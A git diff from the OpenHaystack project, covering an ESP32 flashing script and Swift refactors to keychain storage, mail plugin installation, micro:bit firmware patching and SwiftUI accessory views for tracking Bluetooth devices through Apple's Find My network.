||||
source "$VENV_DIR/bin/activate"
|
||||
fi
|
||||
|
||||
# Prepare the key
|
||||
KEYFILE="$SCRIPT_DIR/tmp.key"
|
||||
if [[ -f "$KEYFILE" ]]; then
|
||||
echo "$KEYFILE already exists, stopping here not to override files..."
|
||||
exit 1
|
||||
fi
|
||||
echo "$PUBKEY" | python3 -m base64 -d - > "$KEYFILE"
|
||||
if [[ $? != 0 ]]; then
|
||||
echo "Could not parse the public key. Please provide valid base64 input"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Call esptool.py. Errors from here on are critical
|
||||
set -e
|
||||
|
||||
# Clear NVM
|
||||
esptool.py --after no_reset \
|
||||
erase_region 0x9000 0x5000
|
||||
esptool.py --before no_reset --baud $BAUDRATE \
|
||||
write_flash 0x1000 "$SCRIPT_DIR/build/bootloader/bootloader.bin" \
|
||||
0x8000 "$SCRIPT_DIR/build/partition_table/partition-table.bin" \
|
||||
0xe000 "$KEYFILE" \
|
||||
0x10000 "$SCRIPT_DIR/build/openhaystack.bin"
|
||||
rm "$KEYFILE"
|
||||
@@ -1,23 +1,25 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import Security
|
||||
import OSLog
|
||||
import Security
|
||||
|
||||
struct KeychainController {
|
||||
|
||||
static func loadAccessoriesFromKeychain(test: Bool=false) -> [Accessory] {
|
||||
static func loadAccessoriesFromKeychain(test: Bool = false) -> [Accessory] {
|
||||
var query: [CFString: Any] = [
|
||||
kSecClass: kSecClassGenericPassword,
|
||||
kSecAttrLabel: "FindMyAccessories",
|
||||
kSecAttrService: "SEEMOO-FINDMY",
|
||||
kSecMatchLimit: kSecMatchLimitOne,
|
||||
kSecReturnData: true
|
||||
kSecReturnData: true,
|
||||
]
|
||||
|
||||
if test {
|
||||
@@ -27,7 +29,8 @@ struct KeychainController {
|
||||
var result: CFTypeRef?
|
||||
let status = SecItemCopyMatching(query as CFDictionary, &result)
|
||||
guard status == errSecSuccess,
|
||||
let resultData = result as? Data else {
|
||||
let resultData = result as? Data
|
||||
else {
|
||||
return []
|
||||
}
|
||||
|
||||
@@ -42,13 +45,13 @@ struct KeychainController {
|
||||
return []
|
||||
}
|
||||
|
||||
static func storeInKeychain(accessories: [Accessory], test: Bool=false) throws {
|
||||
static func storeInKeychain(accessories: [Accessory], test: Bool = false) throws {
|
||||
// Store or update
|
||||
var attributes: [CFString: Any] = [
|
||||
kSecClass: kSecClassGenericPassword,
|
||||
kSecAttrLabel: "FindMyAccessories",
|
||||
kSecAttrService: "SEEMOO-FINDMY",
|
||||
kSecValueData: try PropertyListEncoder().encode(accessories)
|
||||
kSecValueData: try PropertyListEncoder().encode(accessories),
|
||||
]
|
||||
|
||||
if test {
|
||||
@@ -62,7 +65,7 @@ struct KeychainController {
|
||||
var query: [CFString: Any] = [
|
||||
kSecClass: kSecClassGenericPassword,
|
||||
kSecAttrLabel: "FindMyAccessories",
|
||||
kSecAttrService: "SEEMOO-FINDMY"
|
||||
kSecAttrService: "SEEMOO-FINDMY",
|
||||
]
|
||||
|
||||
if test {
|
||||
|
||||
@@ -1,17 +1,19 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import AppKit
|
||||
import Foundation
|
||||
import OSLog
|
||||
import AppKit
|
||||
|
||||
let mailBundleName = "OpenHaystackMail"
|
||||
|
||||
/// Manages plugin installation
|
||||
/// Manages plugin installation.
|
||||
struct MailPluginManager {
|
||||
|
||||
let pluginsFolderURL = FileManager.default.homeDirectoryForCurrentUser.appendingPathComponent("Library/Mail/Bundles")
|
||||
@@ -22,7 +24,7 @@ struct MailPluginManager {
|
||||
return FileManager.default.fileExists(atPath: pluginURL.path)
|
||||
}
|
||||
|
||||
/// Shows a NSSavePanel to install the mail plugin at the required place
|
||||
/// Shows a NSSavePanel to install the mail plugin at the required place.
|
||||
func askForPermission() -> Bool {
|
||||
|
||||
let panel = NSSavePanel()
|
||||
@@ -63,7 +65,7 @@ struct MailPluginManager {
|
||||
} catch {
|
||||
print(error.localizedDescription)
|
||||
}
|
||||
try self.copyFolder(from: localPluginURL, to: pluginURL)
|
||||
try FileManager.default.copyFolder(from: localPluginURL, to: pluginURL)
|
||||
|
||||
self.openAppleMail()
|
||||
}
|
||||
@@ -73,46 +75,23 @@ struct MailPluginManager {
|
||||
|
||||
}
|
||||
|
||||
/// Copy a folder recursively
|
||||
/// - Parameters:
|
||||
/// - from: Folder source
|
||||
/// - to: Folder destination
|
||||
/// - Throws: An error if copying or acessing files fails
|
||||
func copyFolder(from: URL, to: URL) throws {
|
||||
// Create the folder
|
||||
try? FileManager.default.createDirectory(at: to, withIntermediateDirectories: false, attributes: nil)
|
||||
|
||||
let files = try FileManager.default.contentsOfDirectory(atPath: from.path)
|
||||
for file in files {
|
||||
// Check if file is a folder
|
||||
var isDir: ObjCBool = .init(booleanLiteral: false)
|
||||
let fileURL = from.appendingPathComponent(file)
|
||||
FileManager.default.fileExists(atPath: fileURL.path, isDirectory: &isDir)
|
||||
|
||||
if isDir.boolValue == true {
|
||||
try self.copyFolder(from: fileURL, to: to.appendingPathComponent(file))
|
||||
} else {
|
||||
// Copy file
|
||||
try FileManager.default.copyItem(at: fileURL, to: to.appendingPathComponent(file))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func uninstallMailPlugin() throws {
|
||||
try FileManager.default.removeItem(at: pluginURL)
|
||||
}
|
||||
|
||||
/// Copy plugin to downloads folder
|
||||
/// Copy plugin to downloads folder.
|
||||
///
|
||||
/// - Throws: An error if the copy fails, because of missing permissions
|
||||
func pluginDownload() throws {
|
||||
func pluginDownload() throws {
|
||||
guard let localPluginURL = Bundle.main.url(forResource: mailBundleName, withExtension: "mailbundle"),
|
||||
let downloadsFolder = FileManager.default.urls(for: .downloadsDirectory, in: .userDomainMask).first else {
|
||||
let downloadsFolder = FileManager.default.urls(for: .downloadsDirectory, in: .userDomainMask).first
|
||||
else {
|
||||
throw PluginError.downloadFailed
|
||||
}
|
||||
|
||||
let downloadsPluginURL = downloadsFolder.appendingPathComponent(mailBundleName + ".mailbundle")
|
||||
|
||||
try self.copyFolder(from: localPluginURL, to: downloadsPluginURL)
|
||||
try FileManager.default.copyFolder(from: localPluginURL, to: downloadsPluginURL)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,27 +1,31 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
|
||||
struct MicrobitController {
|
||||
|
||||
/// Find all microbits connected to this mac
|
||||
/// Find all microbits connected to this Mac.
|
||||
///
|
||||
/// - Throws: If a volume is inaccessible
|
||||
/// - Returns: an array of urls
|
||||
static func findMicrobits() throws -> [URL] {
|
||||
let fm = FileManager.default
|
||||
let volumes = try fm.contentsOfDirectory(atPath: "/Volumes")
|
||||
|
||||
let microbits: [URL] = volumes.filter({$0.lowercased().contains("microbit")}).map({URL(fileURLWithPath: "/Volumes").appendingPathComponent($0)})
|
||||
let microbits: [URL] = volumes.filter({ $0.lowercased().contains("microbit") }).map({ URL(fileURLWithPath: "/Volumes").appendingPathComponent($0) })
|
||||
|
||||
return microbits
|
||||
}
|
||||
|
||||
/// Deploy the firmware to a USB connected microbit at the given URL
|
||||
/// Deploy the firmware to a USB connected microbit at the given URL.
|
||||
///
|
||||
/// - Parameters:
|
||||
/// - microbitURL: URL to the microbit
|
||||
/// - firmwareFile: Firmware file as binary data
|
||||
@@ -32,6 +36,7 @@ struct MicrobitController {
|
||||
}
|
||||
|
||||
/// Patch the given firmware.
|
||||
///
|
||||
/// This will replace the pattern data (the place for the key) with the actual key
|
||||
/// - Parameters:
|
||||
/// - firmware: The firmware data that should be patched
|
||||
@@ -69,6 +74,22 @@ struct MicrobitController {
|
||||
return patchedFirmware
|
||||
}
|
||||
|
||||
static func deploy(accessory: Accessory) throws {
|
||||
let microbits = try MicrobitController.findMicrobits()
|
||||
guard let microBitURL = microbits.first,
|
||||
let firmwareURL = Bundle.main.url(forResource: "firmware", withExtension: "bin")
|
||||
else {
|
||||
throw FirmwareFlashError.notFound
|
||||
}
|
||||
|
||||
let firmware = try Data(contentsOf: firmwareURL)
|
||||
let pattern = "OFFLINEFINDINGPUBLICKEYHERE!".data(using: .ascii)!
|
||||
let publicKey = try accessory.getAdvertisementKey()
|
||||
let patchedFirmware = try MicrobitController.patchFirmware(firmware, pattern: pattern, with: publicKey)
|
||||
|
||||
try MicrobitController.deployToMicrobit(microBitURL, firmwareFile: patchedFirmware)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
enum PatchingError: Error {
|
||||
|
||||
@@ -1,27 +1,43 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import CoreLocation
|
||||
import CryptoKit
|
||||
import Foundation
|
||||
import Security
|
||||
import SwiftUI
|
||||
import CoreLocation
|
||||
|
||||
class Accessory: ObservableObject, Codable, Identifiable, Equatable {
|
||||
let name: String
|
||||
class Accessory: ObservableObject, Codable, Identifiable, Equatable, Hashable {
|
||||
|
||||
static let icons = [
|
||||
"creditcard.fill", "briefcase.fill", "case.fill", "latch.2.case.fill",
|
||||
"key.fill", "mappin", "globe", "crown.fill",
|
||||
"gift.fill", "car.fill", "bicycle", "figure.walk",
|
||||
"heart.fill", "hare.fill", "tortoise.fill", "eye.fill",
|
||||
]
|
||||
static func randomIcon() -> String {
|
||||
return icons.randomElement() ?? ""
|
||||
}
|
||||
static func randomColor() -> Color {
|
||||
return Color(hue: Double.random(in: 0..<1), saturation: 0.75, brightness: 1)
|
||||
}
|
||||
|
||||
@Published var name: String
|
||||
let id: Int
|
||||
let privateKey: Data
|
||||
let color: Color
|
||||
let icon: String
|
||||
|
||||
@Published var color: Color
|
||||
@Published var icon: String
|
||||
@Published var lastLocation: CLLocation?
|
||||
@Published var locationTimestamp: Date?
|
||||
@Published var isDeployed: Bool
|
||||
|
||||
init(name: String, color: Color = Color.white, iconName: String = "briefcase.fill") throws {
|
||||
init(name: String = "New accessory", color: Color = randomColor(), iconName: String = randomIcon()) throws {
|
||||
self.name = name
|
||||
guard let key = BoringSSL.generateNewPrivateKey() else {
|
||||
throw KeyError.keyGenerationFailed
|
||||
@@ -30,6 +46,7 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable {
|
||||
self.privateKey = key
|
||||
self.color = color
|
||||
self.icon = iconName
|
||||
self.isDeployed = false
|
||||
}
|
||||
|
||||
required init(from decoder: Decoder) throws {
|
||||
@@ -37,11 +54,13 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable {
|
||||
self.name = try container.decode(String.self, forKey: .name)
|
||||
self.id = try container.decode(Int.self, forKey: .id)
|
||||
self.privateKey = try container.decode(Data.self, forKey: .privateKey)
|
||||
self.icon = (try? container.decode(String.self, forKey: .icon)) ?? "briefcase.fill"
|
||||
self.icon = (try? container.decode(String.self, forKey: .icon)) ?? ""
|
||||
self.isDeployed = (try? container.decode(Bool.self, forKey: .isDeployed)) ?? false
|
||||
|
||||
if var colorComponents = try? container.decode([CGFloat].self, forKey: .colorComponents),
|
||||
if var colorComponents = try? container.decode([CGFloat].self, forKey: .colorComponents),
|
||||
let spaceName = try? container.decode(String.self, forKey: .colorSpaceName),
|
||||
let cgColor = CGColor(colorSpace: CGColorSpace(name: spaceName as CFString)!, components: &colorComponents) {
|
||||
let cgColor = CGColor(colorSpace: CGColorSpace(name: spaceName as CFString)!, components: &colorComponents)
|
||||
{
|
||||
self.color = Color(cgColor)
|
||||
} else {
|
||||
self.color = Color.white
|
||||
@@ -55,9 +74,11 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable {
|
||||
try container.encode(self.id, forKey: .id)
|
||||
try container.encode(self.privateKey, forKey: .privateKey)
|
||||
try container.encode(self.icon, forKey: .icon)
|
||||
try container.encode(self.isDeployed, forKey: .isDeployed)
|
||||
|
||||
if let colorComponents = self.color.cgColor?.components,
|
||||
let colorSpace = self.color.cgColor?.colorSpace?.name {
|
||||
let colorSpace = self.color.cgColor?.colorSpace?.name
|
||||
{
|
||||
try container.encode(colorComponents, forKey: .colorComponents)
|
||||
try container.encode(colorSpace as String, forKey: .colorSpaceName)
|
||||
}
|
||||
@@ -79,7 +100,7 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable {
|
||||
// Drop the first byte to just have the 28 bytes version
|
||||
publicKey = publicKey.dropFirst()
|
||||
assert(publicKey.count == 28)
|
||||
guard publicKey.count == 28 else {throw KeyError.keyDerivationFailed}
|
||||
guard publicKey.count == 28 else { throw KeyError.keyDerivationFailed }
|
||||
|
||||
return publicKey
|
||||
}
|
||||
@@ -92,6 +113,10 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable {
|
||||
try self.hashedPublicKey().base64EncodedString()
|
||||
}
|
||||
|
||||
func hash(into hasher: inout Hasher) {
|
||||
hasher.combine(self.id)
|
||||
}
|
||||
|
||||
private func hashedPublicKey() throws -> Data {
|
||||
let publicKey = try self.getAdvertisementKey()
|
||||
var sha = SHA256()
|
||||
@@ -103,20 +128,22 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable {
|
||||
|
||||
func toFindMyDevice() throws -> FindMyDevice {
|
||||
|
||||
let findMyKey = FindMyKey(advertisedKey: try self.getAdvertisementKey(),
|
||||
hashedKey: try self.hashedPublicKey(),
|
||||
privateKey: self.privateKey,
|
||||
startTime: nil,
|
||||
duration: nil,
|
||||
pu: nil,
|
||||
yCoordinate: nil,
|
||||
fullKey: nil)
|
||||
let findMyKey = FindMyKey(
|
||||
advertisedKey: try self.getAdvertisementKey(),
|
||||
hashedKey: try self.hashedPublicKey(),
|
||||
privateKey: self.privateKey,
|
||||
startTime: nil,
|
||||
duration: nil,
|
||||
pu: nil,
|
||||
yCoordinate: nil,
|
||||
fullKey: nil)
|
||||
|
||||
return FindMyDevice(deviceId: String(self.id),
|
||||
keys: [findMyKey],
|
||||
catalinaBigSurKeyFiles: nil,
|
||||
reports: nil,
|
||||
decryptedReports: nil)
|
||||
return FindMyDevice(
|
||||
deviceId: String(self.id),
|
||||
keys: [findMyKey],
|
||||
catalinaBigSurKeyFiles: nil,
|
||||
reports: nil,
|
||||
decryptedReports: nil)
|
||||
}
|
||||
|
||||
enum CodingKeys: String, CodingKey {
|
||||
@@ -126,10 +153,11 @@ class Accessory: ObservableObject, Codable, Identifiable, Equatable {
|
||||
case colorComponents
|
||||
case colorSpaceName
|
||||
case icon
|
||||
case isDeployed
|
||||
}
|
||||
|
||||
static func == (lhs: Accessory, rhs: Accessory) -> Bool {
|
||||
return lhs.id == rhs.id && lhs.name == rhs.name && lhs.privateKey == rhs.privateKey && lhs.icon == rhs.icon
|
||||
return lhs.id == rhs.id && lhs.name == rhs.name && lhs.privateKey == rhs.privateKey && lhs.icon == rhs.icon && lhs.isDeployed == rhs.isDeployed
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import SwiftUI
|
||||
@@ -14,26 +16,35 @@ struct PreviewData {
|
||||
return accessoryList()
|
||||
}()
|
||||
|
||||
static let latitude: Double = 49.878046
|
||||
static let longitude: Double = 8.656993
|
||||
|
||||
static func randomLocation() -> CLLocation {
|
||||
return CLLocation(
|
||||
latitude: latitude + Double.random(in: 0..<0.005) * (Bool.random() ? -1 : 1),
|
||||
longitude: longitude + Double.random(in: 0..<0.005) * (Bool.random() ? -1 : 1)
|
||||
)
|
||||
}
|
||||
|
||||
static func randomTimestamp() -> Date {
|
||||
return Date.init().addingTimeInterval(TimeInterval(-Double.random(in: 0..<24 * 60 * 60)))
|
||||
}
|
||||
|
||||
static func previewAccessory(name: String, color: Color, icon: String) -> Accessory {
|
||||
let accessory = try! Accessory(name: name, color: color, iconName: icon)
|
||||
accessory.lastLocation = randomLocation()
|
||||
accessory.locationTimestamp = randomTimestamp()
|
||||
accessory.isDeployed = true
|
||||
return accessory
|
||||
}
|
||||
|
||||
static func accessoryList() -> [Accessory] {
|
||||
|
||||
let latitude: Double = 52.5219814
|
||||
let longitude: Double = 13.413306
|
||||
|
||||
let backpack = try! Accessory(name: "Backpack", color: Color.green, iconName: "briefcase.fill")
|
||||
backpack.lastLocation = CLLocation(latitude: latitude + (Double(arc4random() % 1000))/100000, longitude: longitude + (Double(arc4random() % 1000))/100000)
|
||||
|
||||
let bag = try! Accessory(name: "Bag", color: Color.blue, iconName: "latch.2.case.fill")
|
||||
bag.lastLocation = CLLocation(latitude: latitude + (Double(arc4random() % 1000))/100000, longitude: longitude + (Double(arc4random() % 1000))/100000)
|
||||
|
||||
let car = try! Accessory(name: "Car", color: Color.red, iconName: "car.fill")
|
||||
car.lastLocation = CLLocation(latitude: latitude + (Double(arc4random() % 1000))/100000, longitude: longitude + (Double(arc4random() % 1000))/100000)
|
||||
|
||||
let keys = try! Accessory(name: "Keys", color: Color.orange, iconName: "key.fill")
|
||||
keys.lastLocation = CLLocation(latitude: latitude + (Double(arc4random() % 1000))/100000, longitude: longitude + (Double(arc4random() % 1000))/100000)
|
||||
|
||||
let items = try! Accessory(name: "Items", color: Color.gray, iconName: "mappin")
|
||||
items.lastLocation = CLLocation(latitude: latitude + (Double(arc4random() % 1000))/100000, longitude: longitude + (Double(arc4random() % 1000))/100000)
|
||||
|
||||
return [backpack, bag, car, keys, items]
|
||||
return [
|
||||
previewAccessory(name: "Backpack", color: Color.green, icon: "briefcase.fill"),
|
||||
previewAccessory(name: "Bag", color: Color.blue, icon: "latch.2.case.fill"),
|
||||
previewAccessory(name: "Car", color: Color.red, icon: "car.fill"),
|
||||
previewAccessory(name: "Keys", color: Color.orange, icon: "key.fill"),
|
||||
previewAccessory(name: "Items", color: Color.gray, icon: "mappin"),
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,71 +1,77 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import OSLog
|
||||
import SwiftUI
|
||||
|
||||
struct AccessoryListEntry: View {
|
||||
var accessory: Accessory
|
||||
@Binding var accessoryIcon: String
|
||||
@Binding var accessoryColor: Color
|
||||
@Binding var accessoryName: String
|
||||
@Binding var alertType: OpenHaystackMainView.AlertType?
|
||||
var delete: (Accessory) -> Void
|
||||
var deployAccessoryToMicrobit: (Accessory) -> Void
|
||||
var zoomOn: (Accessory) -> Void
|
||||
let formatter = DateFormatter()
|
||||
|
||||
@State var editingName: Bool = false
|
||||
|
||||
func timestampView() -> some View {
|
||||
formatter.dateStyle = .short
|
||||
formatter.timeStyle = .short
|
||||
return Group {
|
||||
if let timestamp = accessory.locationTimestamp {
|
||||
Text(formatter.string(from: timestamp))
|
||||
} else {
|
||||
Text("No location found")
|
||||
}
|
||||
}
|
||||
.font(.footnote)
|
||||
}
|
||||
|
||||
var body: some View {
|
||||
VStack {
|
||||
HStack {
|
||||
Button(action: {
|
||||
self.zoomOn(self.accessory)
|
||||
}, label: {
|
||||
HStack {
|
||||
Text(accessory.name)
|
||||
Spacer()
|
||||
}
|
||||
.contentShape(Rectangle())
|
||||
})
|
||||
.buttonStyle(PlainButtonStyle())
|
||||
|
||||
HStack(alignment: .center) {
|
||||
|
||||
Button(action: {self.zoomOn(self.accessory)}, label: {
|
||||
Circle()
|
||||
.strokeBorder(accessory.color, lineWidth: 2.0)
|
||||
.background(
|
||||
ZStack {
|
||||
Circle().fill(Color("PinColor"))
|
||||
Image(systemName: accessory.icon)
|
||||
.padding(3)
|
||||
}
|
||||
)
|
||||
|
||||
.frame(width: 30, height: 30)
|
||||
})
|
||||
.buttonStyle(PlainButtonStyle())
|
||||
|
||||
Button(action: {
|
||||
self.deployAccessoryToMicrobit(accessory)
|
||||
}, label: {
|
||||
Text("Deploy")
|
||||
})
|
||||
HStack {
|
||||
IconSelectionView(selectedImageName: $accessoryIcon, selectedColor: $accessoryColor)
|
||||
|
||||
VStack(alignment: .leading) {
|
||||
if self.editingName {
|
||||
TextField("Enter accessory name", text: $accessoryName, onCommit: { self.editingName = false })
|
||||
.font(.headline)
|
||||
.textFieldStyle(RoundedBorderTextFieldStyle())
|
||||
} else {
|
||||
Text(accessory.name)
|
||||
.font(.headline)
|
||||
}
|
||||
.padding(.trailing)
|
||||
self.timestampView()
|
||||
}
|
||||
|
||||
Divider()
|
||||
Spacer()
|
||||
if !accessory.isDeployed {
|
||||
Button(
|
||||
action: { self.deployAccessoryToMicrobit(accessory) },
|
||||
label: { Text("Deploy") }
|
||||
)
|
||||
}
|
||||
}
|
||||
.contentShape(Rectangle())
|
||||
.padding(EdgeInsets(top: 5, leading: 0, bottom: 5, trailing: 0))
|
||||
.contextMenu {
|
||||
Button("Delete", action: {self.delete(accessory)})
|
||||
Button("Delete", action: { self.delete(accessory) })
|
||||
Divider()
|
||||
Button("Copy advertisment key (Base64)", action: {self.copyPublicKey(of: accessory)})
|
||||
Button("Copy key id (Base64)", action: {self.copyPublicKeyHash(of: accessory)})
|
||||
Button("Rename", action: { self.editingName = true })
|
||||
Divider()
|
||||
Button("Copy advertisment key (Base64)", action: { self.copyPublicKey(of: accessory) })
|
||||
Button("Copy key ID (Base64)", action: { self.copyPublicKeyHash(of: accessory) })
|
||||
Divider()
|
||||
Button("Mark as \(accessory.isDeployed ? "deployable" : "deployed")", action: { accessory.isDeployed.toggle() })
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func copyPublicKey(of accessory: Accessory) {
|
||||
@@ -91,10 +97,33 @@ struct AccessoryListEntry: View {
|
||||
assert(false)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// struct AccessoryListEntry_Previews: PreviewProvider {
|
||||
// static var previews: some View {
|
||||
// AccessoryListEntry()
|
||||
// }
|
||||
// }
|
||||
struct AccessoryListEntry_Previews: PreviewProvider {
|
||||
@StateObject static var accessory = PreviewData.accessories.first!
|
||||
@State static var alertType: OpenHaystackMainView.AlertType?
|
||||
|
||||
static var previews: some View {
|
||||
Group {
|
||||
AccessoryListEntry(
|
||||
accessory: accessory,
|
||||
accessoryIcon: Binding(
|
||||
get: { accessory.icon },
|
||||
set: { accessory.icon = $0 }
|
||||
),
|
||||
accessoryColor: Binding(
|
||||
get: { accessory.color },
|
||||
set: { accessory.color = $0 }
|
||||
),
|
||||
accessoryName: Binding(
|
||||
get: { accessory.name },
|
||||
set: { accessory.name = $0 }
|
||||
),
|
||||
alertType: self.$alertType,
|
||||
delete: { _ in () },
|
||||
deployAccessoryToMicrobit: { _ in () },
|
||||
zoomOn: { _ in () })
|
||||
}
|
||||
.frame(width: 300)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import MapKit
|
||||
@@ -41,7 +43,7 @@ class AccessoryAnnotationView: MKAnnotationView {
|
||||
}
|
||||
|
||||
func updateView() {
|
||||
guard let accessory = (self.annotation as? AccessoryAnnotation)?.accessory else {return}
|
||||
guard let accessory = (self.annotation as? AccessoryAnnotation)?.accessory else { return }
|
||||
self.pinView?.removeFromSuperview()
|
||||
self.pinView = NSHostingView(rootView: AccessoryPinView(accessory: accessory))
|
||||
|
||||
@@ -71,40 +73,6 @@ class AccessoryAnnotationView: MKAnnotationView {
|
||||
self.canShowCallout = true
|
||||
}
|
||||
|
||||
// override func draw(_ dirtyRect: NSRect) {
|
||||
// guard let accessoryAnnotation = self.annotation as? AccessoryAnnotation else {
|
||||
// super.draw(dirtyRect)
|
||||
// return
|
||||
// }
|
||||
//
|
||||
// let path = NSBezierPath(ovalIn: dirtyRect)
|
||||
// path.lineWidth = 2.0
|
||||
//
|
||||
// guard let cgColor = accessoryAnnotation.accessory.color.cgColor,
|
||||
// let strokeColor = NSColor(cgColor: cgColor)?.withAlphaComponent(0.8) else {return}
|
||||
//
|
||||
// NSColor(named: NSColor.Name("PinColor"))?.setFill()
|
||||
//
|
||||
// path.fill()
|
||||
//
|
||||
// strokeColor.setStroke()
|
||||
// path.stroke()
|
||||
//
|
||||
// let accessory = accessoryAnnotation.accessory
|
||||
//
|
||||
// guard let image = NSImage(systemSymbolName: accessory.icon, accessibilityDescription: accessory.name) else {return}
|
||||
//
|
||||
// let ratio = image.size.width / image.size.height
|
||||
// let imageWidth: CGFloat = 20
|
||||
// let imageHeight = imageWidth / ratio
|
||||
// let imageRect = NSRect(
|
||||
// x: dirtyRect.width/2 - imageWidth/2,
|
||||
// y: dirtyRect.height/2 - imageHeight/2,
|
||||
// width: imageWidth, height: imageHeight)
|
||||
//
|
||||
// image.draw(in: imageRect)
|
||||
// }
|
||||
|
||||
struct AccessoryPinView: View {
|
||||
var accessory: Accessory
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user